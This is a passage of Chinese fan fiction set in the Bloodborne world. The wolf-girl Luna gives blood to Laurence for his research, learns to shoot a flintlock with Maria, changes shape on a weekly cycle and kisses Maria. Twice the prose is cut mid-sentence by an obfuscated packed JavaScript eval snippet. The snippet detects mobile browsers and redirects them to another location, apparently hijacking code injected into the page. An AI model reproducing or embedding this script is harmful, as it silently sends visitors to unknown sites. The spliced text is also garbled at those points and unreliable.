“劳伦斯想和你谈谈。”玛利亚的声音让她转回视线。 “世间正蔓延着一种兽化病，他相信你能帮助更多人获得痊愈。” “当然，他不会强迫你做什么。你若是不愿意，现在就可以拒绝。但你若是愿意和他谈谈，我保证他不会伤害你。” 她缓慢地眨了一下眼睛。 “只是劳伦斯吗？” “……如果你愿意和其他人聊一聊你的情况，他们肯定也会非常感激。” 窗外万籁俱静，只能偶尔听见屋角或枝头的积雪坠落时，摔得粉身碎骨的一声闷响。 她没有移开视线。 “玛利亚相信那些人吗？” 拜伦维斯的学者们，和以格曼为首的猎人们有着长期的合作关系。 只有少数人能进入的研究室和储藏室，玛利亚的名字也赫然在其中。 她当然会给出肯定的答复。 “是的。” “拜伦维斯的研究也是？” 玛利亚的声音好像停顿了一下：“……是的。” “明白了。” 她嗓音轻快：“如果玛利亚相信的话，我愿意和他们谈谈。” 10.10 拜伦维斯的学者能从她这里获得的情报不多。 她本来就对自己的情况一头雾水，被问及身世等重要信息时，她完全没法给出详细的答案。只有遇到玛利亚之后的记忆清晰连贯，关于这个话题让她想聊多久都没问题。 没有获得有用的知识，劳伦斯并不气馁。他从一开始就别有目的，亲切的交谈结束后，儒雅的金发男人终于提出他真正的要求。 ——他想要她的血。 不需要很多，一小碗就行。 劳伦斯似乎准备了很多说辞，用来说服她配合拜伦维斯的研究。 她没怎么思考便点头说好的时候，他显得有些惊讶，但脸上的表情很快就由诧异变成了由衷的笑容。 取血当然是现场取血。劳伦斯把工具都准备好了。锋利的柳叶刀被壁炉的火光照亮，她将右手搭在沙发的扶手上，对准备弯腰的身影说： “……不先消毒吗？” 她好像说出了什么陌生的词汇。劳伦斯松开托住她的手，抬起头来，以求知的口吻开口：“你是指什么？” 男人好像联想到了狼舔舐伤口的习惯。他耐心地说：“取血之后，我当然会给你包扎……” 她拿过劳伦斯手里的柳叶刀。他本来并没有打算松手，但讶异于她的力气，一时都忘了抗议。她将那把柳叶刀递到旁边的壁炉里，让滚烫的火苗将刀刃两面都烤了一遍，然后才将高温消毒过的工具放回他手中。 “好了，”她说，“开始吧。” 劳伦斯取血的手法非常娴熟。他用柳叶刀在她右臂的胳膊肘内侧划了一道口子，从静脉溢出的深红血液不多时就盛满了一小碗。 “非常感谢你的配合。”男人儒雅俊秀的脸上出现餍足的神色，声音里的谢意货真价实，没有任何伪饰的成分。 即将离开时，劳伦斯在门边叫住她：“如果以后还有需要，我可否……” “可以。”她道：“我能走了吗？” “哦，当然。只是恕我有些好奇，”劳伦斯维持着得体的笑容道，“你为什么会如此配合？你甚至没有多问几句我为什么需要你的血。” “……” 她表情不变：“因为玛利亚觉得你是一个好医生。” “只是这样？”劳伦斯道，“你也这么想吗？” 她的想法是：敏锐的人真麻烦。 她收回目光，压下黄铜的门把。 “……请别让玛利亚失望。”说完，她就径直走了出去。 持续多日的暴风雪终于止息，厚厚的积雪淹没了拜伦维斯的庭院和道路。学院雇佣的佣人天还未亮就起来工作，到目前为止只清理出了一小片区域和通往各个建筑的主干道。 从位于三楼的房间向下望去，可以将中庭的景色尽数纳入眼底。劳伦斯站在窗边，用仿佛正在赏雪的口吻说： “——它很信任你。” 身后没有传来回应。他停顿片刻，转过身，对站在壁炉旁的猎人道：“感谢你，玛利亚。你的帮助让我们的工作变得顺利许多。” 壁炉里的火光噼啪燃烧，银发的猎人抬起眼帘。 “……她有名字，劳伦斯。” “原谅我，我高兴过头，差点就忘了。”劳伦斯和颜悦色地继续道：“她真不可思议，不是吗？这新的血液样本一定能帮助我们的研究获得突破性的进展。” “在研究获得突破性的进展之前，先管好你的舌头吧，劳伦斯。”陷在沙发里的米克拉什怪笑一声，“小心那边的猎人一个不高兴就先让你的脑袋开花。” 劳伦斯举起一只手：“哦，玛利亚，我知道你一向不赞成血液的滥用，但我愿以自己的灵魂担保，所取的血液只会用作研究……” “不要忘记潜在的危险。我们目前对它所知甚少。” 格曼突然开口，让所有人都看了过来。 “它对自己身上发生过的事印象模糊，曾有一段时间完全失去记忆。”他用警告的语气说，“我们不能排除它在这期间攻击过人类的可能。毕竟，所有兽化病的初期都伴随着对鲜血异常的渴望。” “……但是她并不渴望鲜血。”玛利亚冷静道，“隔离期间我们已经对此做过测试，路德维希也可以作证。” “它和我们到目前为止接触过的野兽都不一样。”米克拉什从沙发上坐起来，懒洋洋地加入话题。 “它明显拥有高度智慧。既然是拥有智慧的生物，那么自然也知晓怎么撒谎伪装……哦，别用那种眼神看我，我只是实话实说。”米克拉什怂怂肩，用那诡异而慢悠的语调继续道：“它能伪装至今，只有两种可能。” “往好的方面想，它是奇迹般的个例，对血液毫无渴望。但若往坏的方面想—— 米克拉什扯了扯嘴角，露出笑容：“它会是比我们想象中还要可怕得多的怪物。” 周围一时没人开口。 炉火哔啵一声，溅出星点火花。 “……如果是那样，事情会简单很多。”格曼不动声色。“猎人的工作就是狩猎野兽。” “猎人的工作，”玛利亚说，“是救助他人。” “确实没错，猎人通过狩猎野兽救助他人。但医生和猎人同样都可以救人，你为什么选择了成为后者，而没有选择前者？” 银发的猎人看向壁炉中的火光，脸上的神情晦暗不明。 “狩猎，”格曼低声说，“使猎人心潮澎湃。” 手里的刀锋割开猎物喉咙的质感，飞驰的子弹击中猎物的声音。在暗夜里隐蔽气息，追踪猎物的痕迹，最终狩猎成功的那一刻——那无与伦比的成就感在这世上没有任何东西可以取代。 在世人看来，猎人这份工作危险而血腥，时刻都在死亡的刀尖上起舞，只有疯子才会继续干下去。但品尝过狩猎的甜美之处的人，鲜少有人能从中抽身而退。 “会对伴在身边的事物产生情感无可厚非，毕竟猎人也是人，拥有人类的七情六欲。但你要小心，玛利亚，不要让情绪蒙蔽你的感知和判断。” “不要忘了——” 那个声音说。 “你是一名猎人。” 是野兽的天敌。 …… 门外响起了脚步声。 因为认出了那是玛利亚的脚步声，她待在原地，没有挪动位置。 工作台上放着猎人的爱枪，金属的枪管优雅流畅，木质的枪托用蜡油擦拭过，光滑的外壳连一丝裂痕也没有，一看就受主人精心保养。 门在身后打开了。玛利亚的脚步声似乎顿了一下，旋即，猎人几个跨步来到工作台前，动作飞快地攥住她的手。 “你在做什么？” 她眨眨眼睛，又眨眨眼睛，松开手指表示自己什么都没碰。 这个手一展开，就暴露了她前不久还在吃小饼干的事实，指缝间的饼干碎屑扑簌簌地落了下来。 “……” 玛利亚表情一怔，不自觉松开手里的力道。 她其实并不介意玛利亚继续攥着自己的手，猎人的皮革手套离开她的手腕时，她忍不住心里惋惜了一下。 “玛利亚回来了。”她说，“要吃小饼干吗？” 她找到了厨房的饼干罐，将一些偷偷藏在衣服里带了回来。 “很好吃。”她强调，“绝对不会吃坏肚子。” 玛利亚的眼神渐渐柔软下来，但她的神情中除了无奈的纵容，还有一些说不清道不明，近似愧疚的阴翳残留。 “你吃吧。” 银发的猎人补充：“别吃太多。” 闻言，她有些心虚，忍不住碾了碾指腹，确保没有饼干碎屑残留。 “为什么站在工作台前？”玛利亚耐心问她，“有什么东西引起了你的兴趣吗？” 她犹豫半晌，伸出一根干干净净、没有沾着饼干碎屑的手指。 “这个。”她指向那把枪，“我可以学吗？” “……”玛利亚看着她：“为什么会突然想学这个？” “其实一直都想学。” 她抬起目光，摆出自己最诚恳的表情：“可以吗？” 等冬天一过，到了春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15387493|167218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天，猎人们又会重新活动起来。 如今她已经明白，自己无法成为猎犬。但若是有其他的方法，让她能够跟在猎人身边呢？ 再说了，她总不能一直受玛利亚保护。在这个危机四伏的世界里，她至少要做到能够不拖后腿——不，她想要能够帮得上玛利亚的忙。 哦，还有一点：拥有共同的兴趣爱好非常重要。 以后玛利亚坐在工作台前保养枪支的时候，她就能够加入了。 她其实不太喜欢这把枪，好看是好看，但占据了玛利亚太多的时间和注意力。 她维持着正常的表情，希望玛利亚没有看出自己的想法。 也许是出于奇怪的愧意，也许是出于她所无法了解的某些原因，玛利亚安静半晌，没有拒绝她的请求。 她裹上一件玛利亚的旧外套，心满意足地跟着猎人离开温暖的室内，来到拜伦维斯边缘的一处林间空地。 寒冷的空气将呼吸化作白雾，静悄悄的林间听不见任何活物的声息。黑色的枝桠在两人头顶交错纵横，玛利亚站在她身后，教导她如何握枪、瞄准远处的目标。 “这把枪的最远射程是三十码。目标一旦超过十六码，弹道就容易产生误差，也容易被风力和湿度影响。” 这个时代的枪都是燧发枪，使用的是外部点燃的系统。枪管右后侧的击锤要在开枪前扳至全扣的状态，扣下扳机和枪响之间会有一定的延迟。 因为只是训练，玛利亚没有使用猎人的水银子弹，而是用了这个时代最常用的铅弹。 将火药倒进枪管，之后再用推杆将铅弹压至枪管底部。在枪管右后侧的火盆里加入引火药，然后扳开击锤，准星对准目标。 “……看到前方的那棵树了吗？”清冷如雾的声音从身后传来。“那棵树距离你现在的位置大概正好十五码，在有效射程内。瞄准它最下方的树枝。” “手再抬高点。”玛利亚托住她的手臂，“现在——深呼吸。” 她大脑一片空白，下意识跟着猎人的指示照做。 “很好。待会儿扣扳机的时候，记住动作要平稳轻柔，避免让枪身产生偏移。” 玛利亚平静的声音突然在她耳后响起：“像这样。” 银发的猎人扣动扳机，前弹的击锤撞上火帽，引燃了火盆里的引火药。枪管里的火药跟着爆发。伴随着一声撕裂寂静的枪响，前方的枯枝应声而断。 白色的烟雾飘散开来，开枪的后坐力震得她靠到了玛利亚怀里。猎人身上独有的冷香包围过来，她的心脏在体内咚咚跳动，声音简直震耳欲聋。 她恍惚地想：……感谢后坐力。 “——要再试一次吗？” 玛利亚稳稳地托住她。她看向手里的枪——都是它的功劳。她决定和它握手言和，不再介意这把枪以前占据了玛利亚多少时间。 两人在林间的空地里练了一下午，直到天色渐暗才打道回府。 女佣将晚餐端至二楼的房间，她非常积极地说：“我今天想喝雪莉酒。” ——她会用枪了，是成熟的大人了。 女佣的眉毛向上抬起，然后看向坐在桌对面的银发猎人。 玛利亚微微颔首，于是那名女佣给她换了一个玻璃杯，倒上琥珀色的雪莉酒。 她端起杯子尝了一口，停顿片刻，听到对面的猎人问她：“味道还习惯吗？” 她控制着面部表情，放下玻璃杯，然后讪讪开口：“还行。” 玛利亚抬手抵住嘴唇，轻咳一声。 旁边的女佣将她原本的杯子端了上来。杯子里的东西，毫无意外——是加了糖蜜的热牛奶。 “怎么了？”玛利亚问她，声音里含着一丝笑意。 她抬起头，发现那丝笑意不是错觉。银发的猎人向来表情很淡，因此露出笑意时给人一种冰雪初融，河流解冻的惊艳感。 她下意识磕巴了一下，赶紧回答：“没什么。” 雪莉酒的味道对她来说过于干涩，但如果能让玛利亚露出笑容……她想，喝多少杯她都甘之如饴。 11.11 人和狼有很多不一样的地方。 狼的舌头粗厚笨重，无法吐出丰富多变的音节。 狼的皮毛粗糙厚实，无法感受不同材质之间的细微区别。 结实平整的棉布，柔软透气的亚麻布，舒适保暖的山羊毛，紧密光滑的细品布——那些布料像变戏法一样出现在女裁缝的手里，然后在对方犀利的目光中被一一比衬到她身前。 “这个颜色和材质如何？”女裁缝的声音越过她，落向站在她身后不远处的高挑身影。 她看着落地镜里自己的倒影：线条利落的黑色长裤，穿在她身上时得折了又折塞到长靴里。松垮舒适的亚麻布上衣作为睡衣时确实很完美，但等到天气暖和起来时，这件过于宽松的上衣就无法再隐藏在外套之内，特别是那长长的袖口，一直没到她指背。 尺码不合的皮革长靴，带子虽然可以系紧，深一脚浅一脚在雪地里奔跑时也勉强过得去，只要积雪一化，她那踢踢踏踏的笨拙步伐立刻就会暴露无遗。 她需要合身的衣服——能让她自然融入人类社会的服饰。 “让她自行决定就好。” 听到玛利亚这么说，她转过头。 “我觉得原本就很好。” 她很喜欢玛利亚的旧衣服，哪怕穿起来时会显得她像刚从别人家的衣橱里钻出来的小偷——或者是试穿大人衣服的小孩。 “哦，我的好小姐，你可千万不能穿成这邋遢的模样到处乱跑。”那位女裁缝苦口婆心地劝她，然后拿起一件用来测量尺寸的系带束胸衣，“来，转个身。” 她视死如归地转身抱住床柱。对方明明看起来身量普通，力气却很大，系紧带子的时候甚至发出了“咔”一声——她怀疑那是自己肋骨紧缩的声音。 她觉得很难受，并很快意识到那份难受和束紧的胸衣无关。站在一旁的玛利亚似乎也意识到了什么，上前一步拦住了女裁缝的动作。 “接下来的交给我。” 女裁缝有些诧异地望了银发的猎人一眼，被请到拜伦维斯来时，她被再三叮嘱，不论发生什么事都务必要管住自己的舌头，因此倒也没多说什么。 匆匆的脚步声离去后，室内重归寂静。玛利亚动作利索地替她解开背后的系带，一边俯身问她：“……露娜？” 猎人的声音在耳畔响起，但那股难受的感觉仍然在胸口喉咙翻腾不休，她无法开口回应。一股莫名其妙的直觉告诉她必须藏起来，她也确实那么做了。 “别……别看。”她脸色苍白地推开玛利亚的手，踉跄着扶住床头柜，走出几步后又觉得不对，慌慌张张折回身，在即将摔倒的那一刻，一把扯过床上的罩单。 柔软的织物盖下来，遮去了她开始抽搐的身体。 玛利亚本来正打算向前一步，见状，她顿在原地，没有继续往前。 待动静慢慢止息，她才重新迈开步伐。 一步。两步。 猎人的动作悄无声息，每一次落下步伐都经过精准的考量，准确把握着两者之间的距离。 “……露娜？”玛利亚的声音温和平稳，如同没有波澜的水面。 即将走到那一团罩单前时，底下的东西忽然动了动。然后，那团动静顶开上方的布料，探出一只湿漉漉的狗鼻子。 不对，是狼鼻子。 “啊呜。” 她无法掩饰自己的沮丧。 人形才维持没几天，她就又变回了一头狼。 “哦，露娜。”奇怪的是，她好像听到玛利亚松了一口气。 声音里流露出几分笑意，银发的猎人蹲下身。 “别担心，好姑娘，你没有做错任何事。” 玛利亚捧起她沮丧的脑袋，仔细端详她的模样片刻。 “原来是这样，”银发的猎人用自言自语的声音说，“你还不能……你目前根本无法控制自己的病情。” 这说明什么呢？ 说明她仍是一个病患。 一个患了兽化病，需要接受医治和帮助的病患。 这听起来应该是很糟糕的一件事，但玛利亚好像并不这么想。 “别担心。”玛利亚语气温柔，“在拜伦维斯，你会得到最妥善的照顾。你一定会好起来的。” 她抬起目光，可怜巴巴地望着玛利亚，小小地“呜”了一声。 “好姑娘。” 她依然很沮丧，但玛利亚一夸她，她的尾巴就忍不住自己摇了起来。 除此以外，遇到这种突发情况，能够安慰她的也只有厨房里的饼干罐了。 幸运的是，她潜进厨房时，厨房的帮佣都出去了。熊熊燃烧的炉火上方悬挂着煮得咕嘟咕嘟作响的铁锅，而她心爱的饼干罐就在不远处的桌面上等着她。 不幸的是，她将头伸进饼干罐狼吞虎咽时，被巡逻到厨房的路德维希发现了。 如果是以前的话，他早就一个抱摔……不对，早就一个海姆立克急救法拍上来了，但这次他只是手足无措地站在一旁，反应过来后终于用言语大声训斥她： “快停下来！你这个……你这个坏狗！”他大声说，“坏狼！” 路德维希好像很少用严厉的话语训斥人，那斥责听起来毫无威慑力。 “我要将你做的坏事都告诉玛利亚！” 有效的威胁终于出现了。 她动作一顿，从饼干罐里拔出脑袋，转头朝路德维希看去，并且撇下耳朵，摆出所有犬科动物歉疚讨饶时的标准造型。 “……” 路德维希放下举起的手指。 “偷窃是不对的。” 她想，这个人为什么要正儿八经地训斥一头狼？ 但为表歉意，她还是摆了摆尾巴，乖巧地将前爪从桌上放了下来。 她走过去，在路德维希身边饶了一圈，然后又饶了一圈。 她用鼻子拱了拱他的手，示意他张开手心。 路德维希狐疑而警惕地看她片刻，慢慢张开手。 她伸出头，恋恋不舍地，将藏在嘴巴里的小饼干放到他手里。 “……”路德维希沉默的时间有点久。她用真挚的目光望着他，希望他能放她一马，不将她这次的劣迹上报给玛利亚。 黑发的青年蹲下身，和狼平视。 “下次，”他说，“下次你想吃小饼干的时候，直接来找我。” 听起来好像是不得了的让步，但路德维希根本不会让她敞开吃小饼干。 不过，她是一条识时务的狼，于是她点点头，表示自己听明白了。 路德维希撑着膝盖站起身，对于能够解决这件事也感到很满意。 本来想到厨房觅食的学生旁观了全程。见一人一狗达成和解，他终于找到开口的机会：“打扰一下。” 路德维希转过头。 “我能摸摸它吗？” 狼形的时候，她确实很毛茸茸。 路德维希拒绝得干脆利落：“不行！” 他蹙起眉，明明年纪和那名学生看起来差不多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15430966|167218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，却用训斥人的口吻说：“你怎么能有这么不绅士的想法！” 那名学生一脸茫然。 她也茫然地看着路德维希，后者用前所未有的严肃语气对她说：“不可以让人乱摸。” ……问题是她本来也不喜欢别人乱摸。她只喜欢玛利亚。 她晃晃脑袋，叹了口气。 厨房最近变得忙碌起来，寒冷时节珍贵罕见的食材一车一车地搬运进来。拜伦维斯的大礼堂也变得热闹非凡，每天都有佣人进进出出，将松木地板擦得光洁锃亮，将璀璨的吊灯清洁得纤尘不染。 她扒在窗边，看庭院里的人类忙忙碌碌。玛利亚告诉她，拜伦维斯每隔几年都会宴请社会各界的名流，而今年正好赶上建校纪念日，舞会自然也会比以往更加隆重。 在这个时代，社交礼仪是教育必不可少的一环。出席这种场合对于拜伦维斯的学生来说是宝贵的经验，在舞会中结交的人脉更有可能为以后的人生起到至关重要的作用。 和野兽打交道、常年沾染血腥味的猎人，自然不在舞会的邀请之列。 玛利亚看起来对舞会没什么兴趣。比起参与这种宴会，她好像更愿意待在工作台前保养自己的爱刀，或是借着壁炉的火光翻阅厚厚的研究手记。 她枕着玛利亚的大腿，惬意地打着盹。 让人心慌气短的感觉涌上来时，她发现自己这次镇定了不少。玛利亚放下手里的书，看了她一眼，起身去壁橱拿出人类需要的衣服。 “……是不是很难受？” 她贴在地面上，感到玛利亚摸着自己的脑袋。 她好像小小地呜了一声，然后抽搐便开始了。 可能是已经渐渐习惯了的缘故，这次变身历时很短，她觉得自己的意识恍惚了片刻，视野再次清晰起来时，玛利亚已经替她披上了外衣。 ——周期大概是七天。 她的人形和狼形，会以七天的时间为周期交替。 “你现在感觉怎么样？还难受吗？” 银发的猎人好像已经非常自然地把她当成了病患看待。 她摇摇头，表示自己身体无碍。 “来。”玛利亚朝她伸出手，扶着她站了起来。 “你身上都是汗，需要好好擦一擦。” 壁炉的火光勾勒出猎人苍白美丽的面容，玛利亚微垂眼帘，仔细拭去她颈间的薄汗。 她想，她现在只披着一件单薄的外衣站在玛利亚面前，可银发的猎人似乎对于这个事实无动于衷。 她帮她擦拭身体时，耐心细致的动作没有任何旖旎的意味，仿佛只是在保养瓷器。 她和她的长刀和枪支不同，是需要更加温柔对待的存在。但除此以外……就没有更多不同了吗？ 她想诱惑她，想让那双冷静淡然的青色眼瞳中出现不一样的情绪波动。但她不知道自己在猎人眼中是否美丽，不知道自己的身体是否有让她觉得怜爱的部分。 她最惹人怜爱的部分是什么呢？是柔软的长鬈发？是纤巧的手指？还是脉搏温柔的颈侧？ 看看我吧——她心想。 她焦灼得如同渴水的植物，无措得如同深陷泥沼只能缓慢下沉的鹿。 银发的猎人直起身时，她伸出手，像柔软的藤蔓一样环住猎人的肩背。 “……露娜？”玛利亚的声音似乎有些困惑。 看看我吧—— 她在心里这么祈求着。 然后在玛利亚低下头时，虔诚地吻上她的唇角。